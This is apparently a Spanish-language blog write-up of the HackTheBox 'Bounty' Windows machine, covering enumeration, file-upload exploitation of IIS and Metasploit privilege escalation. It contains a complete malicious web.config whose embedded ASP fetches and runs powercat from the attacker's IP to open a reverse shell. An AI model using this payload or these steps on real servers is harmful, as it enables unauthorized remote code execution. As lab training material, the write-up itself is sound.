En este post haremos la máquina Bounty de HackTheBox.
Es una maquina windows de un nivel facil pero que nos servirá para aprender algunas cosas interesantes.


Mi nick en HackTheBox es: manulqwerty
Si tenéis alguna proposición o corrección no dudéis en dejar un comentario, así aprendemos todos.

Write-Up

Enumeración

Como siempre, lo primero sera un escaneo de puertos con nmap:

nmap -sC -sV 10.10.10.93

Como veis, el único puerto abierto es el 80 que corresponde con un http (Microsoft IIS 7.5)

Vamos a echarle un ojo a la web:

En el index solo vemos un imagen que no nos dice mucho, asi que vamos a fuzzear la web con el fin de encontrar ficheros que permitan vulnerar el sistema.

gobuster -t 125 -u http://10.10.10.93 -x asp,aspx -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Usando gobuster encontramos un ‘transfer.aspx’ que parece que nos puede servir para subir ficheros al otro directorio encontrado: ‘UploadedFiles’

Intentado subir un fichero php vemos que no nos deja y que verifica que la extensión sea adecuada, asi que vamos a usar el intruder de BurpSuite con el fin de averiguar qué extensiones están permitidas:

Como veis se nos permite subir ficheros con la extensión ‘.config’.
Además buscamos en Google si existe algun metodo que nos sirva para sacar RCE (Remote Code Execution) en IIS:

Encontramos la web: https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/ que si le echais un ojo vereis que subiendo un web.config podremos ejecutar codigo asp en el servidor.

Explotación

Para explotar dicha vulnerabilidad bastará con subir un web.config como el que vemos en la pagina anterior.
Usaremos Powercat para obtener reverse shell:

Os dejo el web.config que nos sirve para obtener reverse shell.

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />         
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!-- <%@ Language=VBScript %>
<%

Set objShell = CreateObject("WScript.Shell")
Set objScriptExec = objShell.Exec("cmd.exe /c powershell.exe IEX (New-Object System.Net.Webclient).DownloadString('http://10.10.14.6/powercat.ps1');powercat -c 10.10.14.6 -p 1234 -e cmd")

%>
<%
Response.write("-"&"->")
' it is running the ASP code if you can see 3 by opening the web.config file!
Response.write(1+2)
Response.write("<!-"&"-")
%>
-->

Post-Explotación

Para la Post-Explotación usaremos un modulo de enumeración de Metasploit : ‘post/recon/local_exploit_suggester’
Primero obtenermos meterpreter x64 subiendonos un binario generado con msfvenom o con el modulo ‘exploit/windows/local/payload_inject’ y despues ejecutamos el módulo de post-explotacion:

run post/recon/local_exploit_suggester


Parece que es vulnerable a ms10_092 que podemos explotarlo directamente desde metasploit: ‘exploi/windows/local/ms10_092_schelevator’

Como veis funciona! Y ya podemos leer el flag del Adminsitrador.

¿Me ayudas a compatirlo?